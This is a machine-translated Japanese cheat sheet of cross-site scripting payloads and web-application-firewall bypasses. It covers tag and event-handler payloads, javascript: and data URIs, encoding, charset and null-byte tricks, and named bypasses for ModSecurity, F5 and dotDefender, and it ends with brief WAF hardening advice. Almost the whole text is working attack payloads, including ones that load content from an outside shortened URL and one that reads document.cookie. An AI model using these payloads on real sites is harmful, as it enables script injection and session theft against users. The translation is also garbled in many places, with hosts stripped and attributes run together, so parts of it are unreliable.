初期テスト
無害なペイロードを使用する。<b>,<i>,<u>レスポンスを観察し、アプリケーションが HTML エンコードされているかどうか、タグがフィルタリングされているかどうか、そしてフィルタリングされてい るかどうかを判断する。<>
クローズド・ラベルをフィルタリングする場合、クローズド・ラベルのないペイロード (<b,<i,<marquee)レスポンスを観察する;
以下のペイロードを試す
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm (1);</script>
<script src="">大文字と小文字が混在した文字を使用しようとした場合にフィルタルールがトリガーされるかどうかを判断します。
<scRiPt>alert(1);</scrIPt>
うまくいかない場合,<script>フィルタリングされた試行<scr<script>ipt>alert(1)</scr<script>ipt>
<a>ラベルテスト
<a href=「http://..com">Clickme</a>
<aフィルタリングされているか?
hrefフィルタリングされているか?
他のコンテンツがフィルタリングされているか?
フィルタリングがない場合は<a href=”javascript:alert(1)”>Clickme</a>
間違ったイベントを使用してフィルタリングを表示しようとする<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
HTML5150のイベントハンドラ関数を持っている。<body/onhashchange=alert(1)><a href=#>clickit#他のタグのテスト
src属性
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">エンベッド
<embed/src=//goo.gl/nlX0P>アクション
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>マリオ確認済み
<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK"formaction "属性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME"background "属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6ポスター」プロパティ
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5「データ」属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?code "属性
イベント処理
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">短いペイロード
<q/oncut=open()>
<q/oncut=alert(1)> // Useful in-case of payload restrictions.入れ子細工
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8括弧はフィルタリング
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';表現プロパティ
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7"location "属性
<a onmouseover=location='java script:alert(1)>click
<body onfocus="location='javascrpt:alert(1) >321その他のペイロード
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns=""2000"/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg> // By @secalert
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed();: フィルター
<svg><script>alert(/1/)</script> // Works With All Browsers
( is html encoded to (
) is html encoded to )オペラの変数
<svg><script>alert( 1) // Works with Opera Only物理デコーディング
</script><script>alert(1)</script>
<a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>エンコーディング
JavaScriptは非常に柔軟な言語で、16進数、Unicode、HTMLなどでエンコードすることができます。
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //Base64サポートのみ#コンテキストベースのフィルタリング
WAFの最大の問題は、コンテンツを理解できないことです。ブラックリストを使えば、単体のjsスクリプトをブロックすることはできますが、それでもxssに対する十分な防御にはなりません。
入力反射プロパティ
<input value="XSStest" type=text>
WAFプロバイダーにとってのベストプラクティスは以下の通りである。><imgsrc=x onerror=prompt(0);>トリガーする。<>フィルタリングされても、" autofocusonfocus=alert(1)//トリガー、基本的には" value属性をオフにし、実行スクリプトを追加する "を使用する。
" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
での入力リフレクションは非常に効率的である。<script>
このシナリオに似ている:
<script>
Var
x=”Input”;
</script>
通常、"></script>,以前の</script>タグを使用することもできるが、この場合、次のように入力してスクリプトalert()を直接実行することも可能である。, prompt()
confirm() ,
;alert(1)//型破りなイベント・リスニング
DOMfocusin や DOMfocusout などのイベントを適切に実行するには、特定のイベントリスナーが必要です。例えば
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//イベント一覧
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModifiedハイパーテキストコンテンツ
コード上の状況は以下の通りです。
<a href=”Userinput”>Click</a>
Javaの scriptを使用することは可能である。:alert(1)//直接実行<a
href=”javascript:alert(1)//”>Click</a>奇形
主にケースとJavaScriptの歪みが含まれています。
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
javascript:alert(document.cookie) // AsharJavedVBScriptはIE10とURIで使用できます。
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"データのURL
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==JSONコンテンツ
反射入力
encodeURIComponent('userinput')を使用することができます。
-alert(1)-
-prompt(1)-
-confirm(1)-結局
encodeURIComponent(''-alert(1)-'')
encodeURIComponent(''-prompt(1)-'')svgタグ内の反射の入力
ソースコードは以下の通りです:
<svg><script>varmyvar=”YourInput”;</script></svg>を入力することができます。
www.site.com/test.php?var=text”;alert(1)//システムが「文字」をエンコードする場合
<svg><script>varmyvar="text";alert(1)//";</script></svg>その理由は、2つのエンコーディングを使って処理できるHTMLコンテンツへの追加が導入されたからです。
#p#ブラウザのバグ
文字セットのバグ
文字セットのバグはIEでは一般的で、最も古いバグはUTF-7です。 文字セットのエンコーディングを制御できれば、99%のWAFフィルターを回避できます。
代表例
http://..com/utf-32-.php?charset=utf-8&v=XSSあなたは、コーディング、提出
http://..com/utf-32-.php?charset=utf-8&v=”><img src=x onerror=prompt(0);>UTF-32エンコーディングに変更可能
???script?alert(1)?/script?
http://..com/utf-32-.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80ヌルバイト
mod_security ファイアウォールを迂回するために最も長く使用されるのは、以下の形式です:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>ヌルバイトは PHP 5.3.8 以降でのみ使用可能です。
構文のバグ
RFC宣言のノード名にスペースを使用することはできません。
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script><%, <//, <!,<?次のように解析できる。<,そのため、以下のペイロードを使用することができる。<// style=x:expression\28write(1)\29> // Works upto IE7
http://.org/#71
<!--[if]><script>alert(1)</script --> // Works upto IE9
http://.org/#115
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7
http://.org/#77
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7ユニコード区切り文字
[on\w+\s*]このルールはすべてのオンイベントをフィルタリングする。×00次の結果で0xffに行く:
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
x0bModでは_securityすでにフィルタリングされ、バイパスされたアプローチにおいて:
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosecXフレームオプションの欠落
Xフレームは、クリックジャッキングから保護するために設定されていると考えるのが一般的ですが、実際には、iframeを使用して参照されるxssの脆弱性からも保護することができます。
ドクモード
IEは、古いブラウザとのバックエンドの互換性を提供するために長い間doc-modeを導入してきました。ハッカーがあなたのサイトのフレームを参照することができ、彼はcss式を実行するためにdoc-modeを導入することができるという攻撃シナリオのリスクがあります。
expression(open(alert(1)))以下のPOCをIE7に挿入することができます。
<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframesrc="https://.com">
</body>
</html>Window.nameチート
シナリオ:iframeでページをロードし、ウィンドウの名前を制御することができます。
ピーオーシー
<iframesrc='http://..com?foo="xss autofocus/AAAAA onfocus=location=window.name//'
name="javascript:alert("XSS")"></iframe>DOM型XSS
DOM 型 XSS は常にクライアント側で実行されるため、サーバは DOM 型 XSS のフィルタリングをサポートしていません:
<script>
vari=location.hash;
document.write(i);
</script>Location.hash[1] = : // Defined at the first position after the hash.
Location.hash[2]= ( // Defined at the second position after the has
Location.hash[3] = ) // Defined at third position after the hash.クライアント側のフィルタリングがある場合、適用されないことがあります #p#
巻回
ModSecurityバイパス
<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosecWEBナイトバイパス
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>F5 BIG IP ASMとPalo ALTOのバイパス処理
<table background="javascript:alert(1)"></table> //IE6またはOperaの低バージョン
><marquee onfinish=confirm(123)>a</marquee>ドット・ディフェンダー・バイパス
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>はんけつをくだす
ブラックリスト方式は決して最善の解決策ではありませんが、ホワイトリスト方式に比べれば非常に効率的であり、WAFプロバイダーのベストプラクティスは以下の通りです:
開発者と管理者は、WAFができるのは攻撃を緩和することだけであり、既知の弱点に対する防御はソースコードの修正によるタイムラグに過ぎないことを認識すべきである;
WAFのルールベースを常に更新しておくこと;
WAFパラメータ制限を設定することができる。content-length max-min length、content-type type、侵入時の警告などのパラメータを設定するためのマニュアルを提供する必要がある;
WAFがブラックリストに基づいている場合、既知のブラウザのバグをブロックできることと、対応するルールベースが最新であることを確認すること。




